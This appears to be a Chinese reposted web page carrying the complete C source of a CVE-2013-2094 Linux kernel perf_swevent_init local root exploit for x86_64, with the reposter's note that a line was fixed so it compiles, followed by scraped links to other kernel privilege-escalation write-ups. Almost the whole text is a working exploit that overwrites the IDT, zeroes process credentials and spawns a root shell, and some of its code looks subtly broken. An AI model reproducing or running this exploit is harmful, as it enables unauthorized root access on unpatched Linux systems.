Linux kernel perf_swevent_init Local root Exploit

64位上编译

另外修改了原Exploit的一个错误

第76行
把     uint64_t *p = (void *) ¤t[i];
改成       uint64_t *p = (void *) &current[i];

*
* CVE-2013-2094 exploit x86_64 Linux < 3.8.9
* by sorbo ([email protected]) June 2013
*
* Based on sd‘s exploit.  Supports more targets.
*
*/

#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <signal.h>
#include <assert.h>

#define BASE        0x380000000
#define BASE_JUMP   0x1780000000
#define SIZE        0x10000000
#define KSIZE       0x2000000

#define TMP(x) (0xdeadbeef + (x))

struct idt {
    uint16_t limit;
    uint64_t addr;
} __attribute__((packed));

static int _fd;

static int perf_open(uint64_t off)
{
    struct perf_event_attr attr;
    int rc;

//  printf("perf open %lx [%d]\n", off, (int) off);

    memset(&attr, 0, sizeof(attr));

    attr.type           = PERF_TYPE_SOFTWARE;
    attr.size           = sizeof(attr);
    attr.config         = off;
    attr.mmap           = 1;
    attr.comm           = 1;
    attr.exclude_kernel = 1;

    rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);

    return rc;
}

void __sc_start(void);
void __sc_next(void);

void __sc(void)
{
    asm("__sc_start:\n"
        "call __sc_next\n"
        "iretq\n"
        "__sc_next:\n");
}

void sc(void)
{
    int i, j;
    uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));
    uint64_t kbase = ((uint64_t)current) >> 36;
    int uid = TMP(1);
    int gid = TMP(2);

    for (i = 0; i < 4000; i += 4) {
        uint64_t *p = (void *) &current[i];
        uint32_t *cred = (uint32_t*) p[0];

        if ((p[0] != p[1]) || ((p[0]>>36) != kbase))
            continue;

        for (j = 0; j < 20; j++) {
            if (cred[j] == uid && cred[j + 1] == gid) {
                for (i = 0; i < 8; i++) {
                    cred[j + i] = 0;
                    return;
                }
            }
        }
    }
}

static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
{
    void *p;

    p = memmem(sc, 900, &needle, sizeof(needle));
    if (!p)
        errx(1, "can‘t find %x", needle);

    memcpy(p, &val, sizeof(val));
}

static void *map_mem(uint64_t addr)
{
    void *p;

    p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
         MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);

    if (p == MAP_FAILED)
        err(1, "mmap()");

    return p;
}

static int find_mem(void *mem, uint8_t c)
{
    int i;
    uint8_t *p = mem;

    for (i = 0; i < SIZE; i++) {
        if (p == c)
            return i;
    }

    return -1;
}

static void dropshell()
{
    if (setuid(0) != 0)
        errx(1, "failed");

    printf("Launching shell\n");

    execl("/bin/sh", "sh", NULL);
    exit(0);
}

void morte(int x)
{
    printf("Got signal\n");
    close(_fd);
    dropshell();
}

static void trigger(int intr)
{
    switch (intr) {
    case 0:
        do {
            int z = 1;
            int a = 1;

            z--;

            a /= z;
        } while (0);
        break;

    case 4:
        asm("int $4");
        break;

    case 0x80:
        asm("int $0x80");
        break;

    default:
        errx(1, "unknown intr %d", intr);
    }

    sleep(3);
}

int main(int argc, char *argv[])
{
    uint32_t *p[2];
    int fd, i;
    uint64_t off;
    uint64_t addr = BASE;
    struct idt idt;
    uint8_t *kbase;
    int sz = 4;
    int intr = 4;

    printf("Searchin...\n");

    p[0] = map_mem(BASE);
    p[1] = map_mem(BASE_JUMP);

    memset(p[1], 0x69, SIZE);

    off = 0xFFFFFFFFL;
    fd = perf_open(off);
    close(fd);

    i = find_mem(p[0], 0xff);
    if (i == -1) {
        i = find_mem(p[1], 0x68);

        if (i == -1)
            errx(1, "Can‘t find overwrite");

        sz = 24;
        addr = BASE_JUMP;
        printf("detected CONFIG_JUMP_LABEL\n");
    }

    munmap(p[0], SIZE);
    munmap(p[1], SIZE);

    addr += i;
    addr -= off * sz;

    printf("perf_swevent_enabled is at 0x%lx\n", addr);

    asm("sidt %0" : "=m" (idt));

    printf("IDT at 0x%lx\n", idt.addr);

    off = addr - idt.addr;
    off -= 8;

    switch (off % sz) {
    case 0:
        intr = 0;
        break;

    case 8:
        intr = 0x80;
        break;

    case 16:
        intr = 4;
        break;

    default:
        errx(1, "remainder %d", off % sz);
    }

    printf("Using interrupt %d\n", intr);

    off -= 16 * intr;

    assert((off % sz) == 0);

    off /= sz;
    off = -off;

//  printf("Offset %lx\n", off);

    kbase = (uint8_t*) (idt.addr & 0xFF000000);

    printf("Shellcode at %p\n", kbase);

    if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
         MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)
        err(1, "mmap()");

    memset(kbase, 0x90, KSIZE);
    kbase += KSIZE - 1024;

    i = __sc_next - __sc_start;
    memcpy(kbase, __sc_start, i);
    kbase += i;
    memcpy(kbase, sc, 900);

    sc_replace(kbase, TMP(1), getuid());
    sc_replace(kbase, TMP(2), getgid());

    signal(SIGALRM, morte);
    alarm(2);

    printf("Triggering sploit\n");
    _fd = perf_open(off);

    trigger(intr);

    exit(0);
}
时间: 2024-12-20 14:06:42

Linux kernel perf_swevent_init Local root Exploit的相关文章

Android linux kernel privilege escalation vulnerability and exploit (CVE-2014-4322)

In this blog post we'll go over a Linux kernel privilege escalation vulnerability I discovered which enables arbitrary code execution within the kernel. The vulnerability affected all devices based on Qualcomm chipsets (that is, based on the "msm&quo

Root exploit for Android and Linux(CVE-2010-4258)

/* 本文章由 莫灰灰 编写,转载请注明出处. 作者:莫灰灰    邮箱: [email protected] */ 一. 漏洞简介 CVE-2010-4258这个漏洞很有意思,主要思路是如果通过clone函数去创建进程,并且带有CLONE_CHILD_CLEARTID标志,那么进程在退出的时候,可以造成内核任意地址写0的bug.PoC代码利用了多个漏洞来达到权限提升的目的. 二. 前置知识 (进程创建.退出) 1.当fork或者clone一个进程在的时候, copy_process执行如下操作

CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC

/**  * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC  *  * Vitaly Nikolenko  * http://hashcrack.org  *  * Usage: ./poc [file_path]  *  * where file_path is the file on which you want to set the sgid bit  */ #define _GNU_SOURCE #include <s

Linux Kernel - Debug Guide (Linux内核调试指南 )

http://blog.csdn.net/blizmax6/article/details/6747601 linux内核调试指南 一些前言 作者前言 知识从哪里来 为什么撰写本文档 为什么需要汇编级调试 ***第一部分:基础知识*** 总纲:内核世界的陷阱 源码阅读的陷阱 代码调试的陷阱 原理理解的陷阱 建立调试环境 发行版的选择和安装 安装交叉编译工具 bin工具集的使用 qemu的使用 initrd.img的原理与制作 x86虚拟调试环境的建立 arm虚拟调试环境的建立 arm开发板调试环

CentOS启动流程、Grub legacy配置、linux kernel模块管理、伪文件系统介绍

写在前面: 博客书写牢记5W1H法则:What,Why,When,Where,Who,How. 本篇主要内容: ● 启动相关基础概念汇总 ● 启动流程 ● init程序类型     /etc/rc.d/rc     chkconfig     /etc/rc.d/rc.sysinit ● GRUB legacy     命令行接口     配置文件 ● Linux Kernel     内核模块查看与管理         lsmod         modinfo         modprob

Linux kernel的定制与微型linux系统实现

友情提醒:本文实验环境 centos 6.6 x86_64 + vmware workstation 10 内容概括: 1)实验与实验环境介绍 2)Centos 6.6系统启动流程简介 3)启动分区设置 4)kernel的定制提供系统"大脑" 5)编译busybox提供系统"身体" 6)编译dropbear提供sshd服务 7)实验中用到的shell脚本 一.实验与实验环境介绍 通过vmware workstation10 软件,实现inux kernel的定制,并

用qemu与gdb调试linux kernel tcp/ip协议栈

description 用gdb debug linux kernel容易吗?其实要走到这步真的不容易啊,其实也难道是不难,就是要知道的东西太多了.用gdb debug linux kernel 可以有2中方式:UML和qemu方式,这里主要说qemu,从源码编译安装qemu很费劲. 准备环境 linux OS: Debian7.5-i386(当时最新的Wheezy,装在VMware10上,我用的在线安装,安装后以text方式跑起来,我的笔记本配置资源有限!) root fs:Debian-Wh

Linux系统结构 和linux kernel基本架构

linux的基本体系结构由下面两张图可以简单的概括(两张图是一样的,只是侧重点有点不同)                                                                     从上图得知,Linux由用户空间和内核空间两部分组成.内核空间与用户空间是程序执行的两种不同状态,通过系统调用和硬件中断能够完成从用户空间到内核空间的转移. 由于linux系统版本的不同,其目录结构上,又有稍微不得不同,这里拿两个目录作为对比和学习 针对linux体系,其源

Linux kernel中断子系统之(五):驱动申请中断API

一.前言 本文主要的议题是作为一个普通的驱动工程师,在撰写自己负责的驱动的时候,如何向Linux Kernel中的中断子系统注册中断处理函数?为了理解注册中断的接口,必须了解一些中断线程化(threaded interrupt handler)的基础知识,这些在第二章描述.第三章主要描述了驱动申请 interrupt line接口API request_threaded_irq的规格.第四章是进入request_threaded_irq的实现细节,分析整个代码的执行过程. 二.和中断相关的lin